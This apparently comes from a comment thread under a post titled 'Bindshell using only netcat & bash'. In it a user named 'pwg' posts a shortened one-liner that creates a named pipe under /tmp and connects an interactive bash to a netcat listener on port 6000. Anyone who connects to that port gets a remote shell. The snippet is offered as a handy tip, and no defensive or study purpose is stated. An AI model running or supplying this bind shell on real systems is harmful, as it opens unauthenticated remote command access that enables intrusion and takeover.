5 ms·
Bindshell using only netcat & bash
- pwg 14y agoYou can almost cut your netcat+bash bindshell one-liner in half if you change how you handle the if clause: if [[ ! -p /tmp/mypipe ]]; then mkfifo /tmp/mypipe ; fi && cat /tmp/mypipe|/bin/bash -i 2>&1|nc -vvl 6000 >/tmp/mypipe